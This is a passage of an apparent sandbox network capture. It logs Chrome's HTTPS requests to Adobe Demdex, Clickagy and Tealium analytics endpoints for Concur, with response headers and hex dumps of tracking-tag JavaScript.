2024-10-03 08:41:39 UTC	882	OUT	GET /ibs:dpid=575&dpuuid=9033076558488683385 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
2024-10-03 08:41:40 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:40 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: WS9bp03QSsY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-04f79e5ee.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:40 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49921	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:39 UTC	905	OUT	GET /ibs:dpid=30064&dpuuid=%7BUUID_6j5b2cv%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
2024-10-03 08:41:40 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:40 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: BX17vnj8RzU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 104,303 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-066d677f1.edge-irl1.demdex.com 1 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:40 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49923	52.3.55.35	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	721	OUT	GET /pixel.gif?ch=124&cm=77063524538646072271479213259445098681&redir=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D79908%26dpuuid%3D%7Bvisitor_id%7D HTTP/1.1 Host: aorta.clickagy.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	936	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 08:41:40 GMT Content-Type: text/plain Content-Length: 0 Connection: close server: Aorta/20240924.a5fa27d73 X-Aorta-Host: f43b7a030bb7 X-Aorta-Region: us-east-1 access-control-allow-credentials: true access-control-allow-headers: Origin,cache-control,content-type,man,messagetype,soapaction access-control-expose-headers: Set-Cookie access-control-allow-methods: POST, GET, OPTIONS access-control-allow-origin: * access-control-max-age: 31536000 cache-control: no-cache, no-store, must-revalidate expect: 0 Location: https://dpm.demdex.net/ibs:dpid=79908&dpuuid=Zv5YxMr7bME0JQVxqlPDhBNP set-cookie: cb=Zv5YxMr7bME0JQVxqlPDhBNP; Max-Age=63027504; Expires=Fri, 02 Oct 2026 20:20:04 GMT; Path=/; Domain=.clickagy.com; SameSite=None; Secure set-cookie: chs=[{"ch":"124","t":"2024-10-03 08:41:40"}]; Max-Age=63027504; Expires=Fri, 02 Oct 2026 20:20:04 GMT; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49925	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1169.js?utv=ut4.39.202409041952 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 91708 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:58 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: I9EeSiHZSCCAaFI2TtqlvIsdBVO8OBHb Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "08723b8f2d35f6a9d55c91868ead5b87" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5f82872daec754c74bbd4ef1bc7f7314.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: dgjPoHtlsHiLYtqSWGdOLYUEeEdiEkNQCCNUs-3FEQuH_Pfi495vWg== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 36 39 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 73 3d 73 5f 67 69 28 22 63 6f 6e 63 75 72 2d 61 6c 6c 2d 64 65 76 22 29 3b 73 2e 61 63 63 6f 75 6e 74 3d 22 63 6f 6e 63 75 72 2d 61 6c 6c 2d 64 65 76 22 3b 73 2e 74 72 61 63 6b 44 6f 77 6e 6c 6f 61 64 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 45 78 74 65 72 6e 61 6c 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 49 6e 6c 69 6e 65 53 74 61 74 73 3d 74 72 75 65 3b 73 2e 6c 69 6e 6b 49 6e 74 65 72 6e 61 6c Data Ascii: //tealium universal tag - utag.1169 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.var s=s_gi("concur-all-dev");s.account="concur-all-dev";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.linkInternal
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 77 64 2c 77 6f 72 64 2c 22 29 2c 6b 26 26 68 29 29 29 29 7b 69 66 28 28 61 3d 68 2e 73 70 6c 69 74 28 22 26 22 29 29 26 26 31 3c 61 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 3d 61 5b 66 5d 2c 64 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2c 30 3c 64 26 26 30 3c 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 2c 22 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 64 29 2b 22 2c 22 29 3f 6d 2b 3d 28 6d 3f 22 26 22 3a 22 22 29 2b 65 3a 6e 2b 3d 28 6e 3f 22 26 22 3a 22 22 29 2b 65 3b 6d 26 26 6e 3f 68 3d 6d 2b 22 26 22 2b 6e 3a 6e 3d 22 22 7d 64 3d 32 35 33 2d 28 68 2e 6c 65 6e 67 74 68 2d 6e 2e 6c 65 6e 67 74 68 29 2d 62 2e 6c 65 6e 67 74 68 3b 61 3d 62 2b 28 30 3c 64 3f 67 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 64 Data Ascii: wd,word,"),k&&h)))){if((a=h.split("&"))&&1<a.length){for(f=0;f<a.length;f++)e=a[f],d=e.indexOf("="),0<d&&0<=k.indexOf(","+e.substring(0,d)+",")?m+=(m?"&":"")+e:n+=(n?"&":"")+e;m&&n?h=m+"&"+n:n=""}d=253-(h.length-n.length)-b.length;a=b+(0<d?g.substring(0,d
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 65 66 2c 61 2e 51 61 28 67 29 7c 7c 28 67 3d 30 29 2c 64 3d 65 2e 74 61 72 67 65 74 2c 63 2e 74 61 72 67 65 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 26 26 67 26 26 28 21 64 7c 7c 22 5f 73 65 6c 66 22 3d 3d 64 7c 7c 22 5f 74 6f 70 22 3d 3d 64 7c 7c 22 5f 70 61 72 65 6e 74 22 3d 3d 64 7c 7c 68 2e 6e 61 6d 65 26 26 64 3d 3d 68 2e 6e 61 6d 65 29 29 29 7b 74 72 79 7b 62 3d 61 2e 64 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 7d 63 61 74 63 68 28 6c 29 7b 62 3d 6e 65 77 20 68 2e 4d 6f 75 73 65 45 76 65 6e 74 7d 69 66 28 62 29 7b 74 72 79 7b 62 2e 69 6e 69 74 4d 6f 75 73 65 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 63 2e 62 75 62 62 6c 65 73 2c 63 2e 63 61 6e 63 65 6c 61 62 6c 65 2c 63 2e 76 69 65 77 2c 63 2e 64 65 74 61 Data Ascii: ef,a.Qa(g)\|\|(g=0),d=e.target,c.target.dispatchEvent&&g&&(!d\|\|"_self"==d\|\|"_top"==d\|\|"_parent"==d\|\|h.name&&d==h.name))){try{b=a.d.createEvent("MouseEvents")}catch(l){b=new h.MouseEvent}if(b){try{b.initMouseEvent("click",c.bubbles,c.cancelable,c.view,c.deta
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 3b 31 3d 3d 3d 64 26 26 75 26 26 52 2e 6c 6f 67 4f 6e 63 65 28 22 57 61 72 6e 69 6e 67 3a 20 76 69 73 69 74 6f 72 49 6e 73 74 61 6e 63 65 2e 70 75 62 6c 69 73 68 44 65 73 74 69 6e 61 74 69 6f 6e 73 20 76 65 72 73 69 6f 6e 20 69 73 20 6f 6c 64 20 28 56 69 73 69 74 6f 72 20 76 33 2e 33 2e 30 20 74 6f 20 76 34 2e 30 2e 30 29 2e 20 55 52 4c 20 64 65 73 74 69 6e 61 74 69 6f 6e 73 20 77 69 6c 6c 20 6e 6f 74 20 68 61 76 65 20 74 68 65 20 6f 70 74 69 6f 6e 20 6f 66 20 62 65 69 6e 67 20 66 69 72 65 64 20 6f 6e 20 70 61 67 65 2c 20 6f 6e 6c 79 20 69 6e 20 74 68 65 20 69 66 72 61 6d 65 2e 22 29 7d 74 68 69 73 2e 6a 73 6f 6e 50 72 6f 63 65 73 73 65 64 2e 70 75 73 68 28 65 29 7d 7d 7d 2c 61 64 64 4d 65 73 73 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 Data Ascii: ;1===d&&u&&R.logOnce("Warning: visitorInstance.publishDestinations version is old (Visitor v3.3.0 to v4.0.0). URL destinations will not have the option of being fired on page, only in the iframe.")}this.jsonProcessed.push(e)}}},addMessage:function(e){this
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 6b 54 72 61 63 6b 29 3d 3d 3d 22 73 74 72 69 6e 67 22 29 7b 75 5b 74 79 70 65 5d 3d 6c 69 6e 6b 54 72 61 63 6b 2e 73 70 6c 69 74 28 22 2c 22 29 3b 7d 65 6c 73 65 20 69 66 28 75 2e 74 79 70 65 4f 66 28 6c 69 6e 6b 54 72 61 63 6b 29 3d 3d 3d 22 61 72 72 61 79 22 29 7b 75 5b 74 79 70 65 5d 3d 6c 69 6e 6b 54 72 61 63 6b 3b 7d 65 6c 73 65 7b 75 5b 74 79 70 65 5d 3d 5b 5d 3b 7d 7d 0a 75 2e 68 61 73 61 64 6f 62 65 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 74 61 67 2e 75 74 2e 61 64 6f 62 65 56 69 65 77 53 63 72 69 70 74 52 65 71 75 65 73 74 65 64 29 7b 72 65 74 75 72 6e 20 74 72 75 65 3b 7d 0a 76 61 72 20 69 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 3b 66 6f 72 Data Ascii: kTrack)==="string"){u[type]=linkTrack.split(",");}else if(u.typeOf(linkTrack)==="array"){u[type]=linkTrack;}else{u[type]=[];}}u.hasadobeView=function(){if(utag.ut.adobeViewScriptRequested){return true;}var i,s=document.getElementsByTagName("script");for
2024-10-03 08:41:40 UTC	9788	IN	Data Raw: 72 73 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 6c 74 76 3d 5b 5d 3b 7d 0a 69 66 28 75 2e 63 6f 6d 62 69 6e 65 4c 69 6e 6b 56 61 72 26 26 74 79 70 65 6f 66 20 75 2e 64 61 74 61 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 74 79 70 65 43 68 65 63 6b 28 75 2e 64 61 74 61 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 2c 22 6c 74 76 22 29 3b 7d 65 6c 73 65 20 69 66 28 75 2e 63 6f 6d 62 69 6e 65 4c 69 6e 6b 56 61 72 26 26 74 79 70 65 6f 66 20 62 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 74 79 70 65 43 68 65 63 6b 28 62 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 2c 22 6c 74 76 22 29 3b 7d 0a 69 66 28 74 79 70 65 6f 66 20 75 2e 64 61 74 61 2e 6c 69 6e Data Ascii: rs==="undefined"){u.ltv=[];}if(u.combineLinkVar&&typeof u.data.linkTrackVars!=="undefined"){u.typeCheck(u.data.linkTrackVars,"ltv");}else if(u.combineLinkVar&&typeof b.linkTrackVars!=="undefined"){u.typeCheck(b.linkTrackVars,"ltv");}if(typeof u.data.lin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49927	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	398	OUT	GET /utag/concur/concur/prod/utag.210.js?utv=ut4.39.201805151414 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2119 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:47 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 6vCCjkx7Vj.kcur9pE3Olkl35PiBT6ea Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "92cc50f6c5adb3ffa0ca2aff0e4dd5e3" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d9636724d333576f23b5fcfb40d7830c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: K6D47I2x8wtoh1P2X3CJh8T9bzMYptwSXS7fqk1-P_0gqleoULTd4Q== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	2119	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 32 31 30 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 74 79 70 65 6f 66 20 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 6f 2c 61 2c 62 2c 63 2c 6c 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 3b 69 66 28 6f 2e 74 79 70 65 3d 3d 3d 22 69 66 72 61 6d 65 22 29 7b 62 3d 61 Data Ascii: //tealium universal tag - utag.210 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.if(utag.ut===undefined){utag.ut={};}if(typeof utag.ut.loader==="undefined"){utag.ut.loader=function(o,a,b,c,l){a=document;if(o.type==="iframe"){b=a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49926	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	398	OUT	GET /utag/concur/concur/prod/utag.132.js?utv=ut4.39.202101210002 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	588	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 854 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:13:00 GMT ETag: "6a0b99b478557408c6281d5612f1257c" x-amz-server-side-encryption: AES256 x-amz-version-id: UgU7Oc4MCJVg8FYcf2MKYiEDXfqJVhWX Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 4d37a80c51c1368344134f5bdf1ea92e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: yoag6s7sJAFZ2JUaMippolclWvhZ9jnZc_aQWRruszhIbYuyQhQZqg== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	854	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 33 32 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 2c 75 29 7b 74 72 79 7b 75 3d 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 7b 7d 7d 63 61 74 63 68 28 65 29 7b 75 3d 75 74 61 67 2e 73 65 6e 64 65 72 5b 69 64 5d 7d 3b 75 2e 65 76 3d 7b 27 76 69 65 77 27 3a 31 7d 3b 75 2e 71 73 70 5f 64 65 6c 69 6d 3d 22 3b 22 3b 75 2e 6b 76 70 5f 64 65 6c 69 6d 3d 22 3d 22 3b 75 2e 78 73 70 3d 22 31 39 Data Ascii: //tealium universal tag - utag.132 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader,u){try{u=utag.o[loader].sender[id]={}}catch(e){u=utag.sender[id]};u.ev={'view':1};u.qsp_delim=";";u.kvp_delim="=";u.xsp="19

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49924	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	398	OUT	GET /utag/concur/concur/prod/utag.303.js?utv=ut4.39.202103101828 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	588	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 608 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:13:42 GMT ETag: "d279dfc9af6f6d7ba09e858894fb3d20" x-amz-server-side-encryption: AES256 x-amz-version-id: CWaIpHDaNhFbUb0ZqPgu_z3AxBDowf_J Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 60dc145c687858f10bb3fe6251ad4ffe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: IfDDaqHlFoh5Mla6kSOY1OJRAHMMIqLyJWNVwiAozX7S0yXRsckbIw== Age: 2 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	608	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 33 30 33 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 2c 75 29 7b 74 72 79 7b 75 3d 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 7b 7d 7d 63 61 74 63 68 28 65 29 7b 75 3d 75 74 61 67 2e 73 65 6e 64 65 72 5b 69 64 5d 7d 3b 75 2e 65 76 3d 7b 27 76 69 65 77 27 3a 31 7d 3b 75 2e 62 61 73 65 5f 75 72 6c 3d 27 2f 2f 73 63 72 69 70 74 2e 63 72 61 7a 79 65 67 67 2e 63 6f 6d 2f 70 61 67 65 73 2f 73 Data Ascii: //tealium universal tag - utag.303 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader,u){try{u=utag.o[loader].sender[id]={}}catch(e){u=utag.sender[id]};u.ev={'view':1};u.base_url='//script.crazyegg.com/pages/s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49928	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1007.js?utv=ut4.39.202405201524 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 18947 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:29 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: LSljILpA61N4NAA87Cw18ibLXNDCowNI Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "eb50692cfc89becf31539f0422d72711" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 46b6cb3d5daab7defe28d3658c3a54fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: oCep0kJRSSgeCjGVdrQczArTPT1EXD0UxxX06LzestmPn4U2tgPcOw== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:40 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 30 30 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 2c 6d 64 35 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 74 61 67 2e 67 6c 6f 62 61 6c 73 3d 75 74 61 67 2e 67 6c 6f 62 61 6c 73 7c 7c 7b 7d 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 Data Ascii: //tealium universal tag - utag.1007 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}var ma
